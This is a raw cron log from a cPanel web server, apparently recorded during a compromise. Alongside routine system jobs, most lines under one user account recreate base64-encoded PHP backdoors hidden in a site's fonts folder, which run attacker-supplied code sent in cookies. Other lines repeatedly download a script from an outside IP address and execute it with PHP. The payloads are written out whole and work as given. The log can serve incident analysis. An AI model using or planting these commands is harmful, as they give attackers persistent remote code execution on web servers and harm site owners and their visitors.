Sep  3 13:24:01 ip-184-168-122-23 CROND[12370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:24:01 ip-184-168-122-23 CROND[12372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:25:02 ip-184-168-122-23 CROND[12553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:25:02 ip-184-168-122-23 CROND[12554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:25:02 ip-184-168-122-23 CROND[12556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:25:02 ip-184-168-122-23 CROND[12557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:25:02 ip-184-168-122-23 CROND[12558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:25:02 ip-184-168-122-23 CROND[12560]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:26:01 ip-184-168-122-23 CROND[12656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:26:01 ip-184-168-122-23 CROND[12657]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:26:01 ip-184-168-122-23 CROND[12660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:26:01 ip-184-168-122-23 CROND[12661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:26:01 ip-184-168-122-23 CROND[12662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:27:01 ip-184-168-122-23 CROND[12751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:27:01 ip-184-168-122-23 CROND[12752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:27:01 ip-184-168-122-23 CROND[12754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:27:01 ip-184-168-122-23 CROND[12753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:28:01 ip-184-168-122-23 CROND[12876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:28:01 ip-184-168-122-23 CROND[12878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:28:01 ip-184-168-122-23 CROND[12879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:28:01 ip-184-168-122-23 CROND[12883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:28:01 ip-184-168-122-23 CROND[12884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:29:01 ip-184-168-122-23 CROND[12989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:29:01 ip-184-168-122-23 CROND[12992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:29:01 ip-184-168-122-23 CROND[12991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:29:01 ip-184-168-122-23 CROND[12993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:30:01 ip-184-168-122-23 CROND[13078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:30:01 ip-184-168-122-23 CROND[13081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:30:01 ip-184-168-122-23 CROND[13082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:30:01 ip-184-168-122-23 CROND[13086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:30:01 ip-184-168-122-23 CROND[13085]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:30:01 ip-184-168-122-23 CROND[13087]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:30:01 ip-184-168-122-23 CROND[13088]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 13:30:01 ip-184-168-122-23 CROND[13089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:31:01 ip-184-168-122-23 CROND[13181]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 13:31:01 ip-184-168-122-23 CROND[13184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:31:01 ip-184-168-122-23 CROND[13183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:31:01 ip-184-168-122-23 CROND[13185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:31:01 ip-184-168-122-23 CROND[13186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:32:01 ip-184-168-122-23 CROND[13281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:32:01 ip-184-168-122-23 CROND[13284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:32:01 ip-184-168-122-23 CROND[13283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:32:01 ip-184-168-122-23 CROND[13282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:32:01 ip-184-168-122-23 CROND[13285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:33:01 ip-184-168-122-23 CROND[13378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:33:01 ip-184-168-122-23 CROND[13381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:33:01 ip-184-168-122-23 CROND[13382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:33:01 ip-184-168-122-23 CROND[13380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:34:01 ip-184-168-122-23 CROND[13545]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:34:01 ip-184-168-122-23 CROND[13547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:34:01 ip-184-168-122-23 CROND[13549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:34:01 ip-184-168-122-23 CROND[13550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:34:01 ip-184-168-122-23 CROND[13551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:35:01 ip-184-168-122-23 CROND[13652]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 13:35:01 ip-184-168-122-23 CROND[13659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:35:01 ip-184-168-122-23 CROND[13657]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:35:01 ip-184-168-122-23 CROND[13658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:35:01 ip-184-168-122-23 CROND[13655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:35:01 ip-184-168-122-23 CROND[13656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:35:01 ip-184-168-122-23 CROND[13662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:35:01 ip-184-168-122-23 CROND[13660]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 13:36:01 ip-184-168-122-23 CROND[13774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:36:01 ip-184-168-122-23 CROND[13779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:36:01 ip-184-168-122-23 CROND[13778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
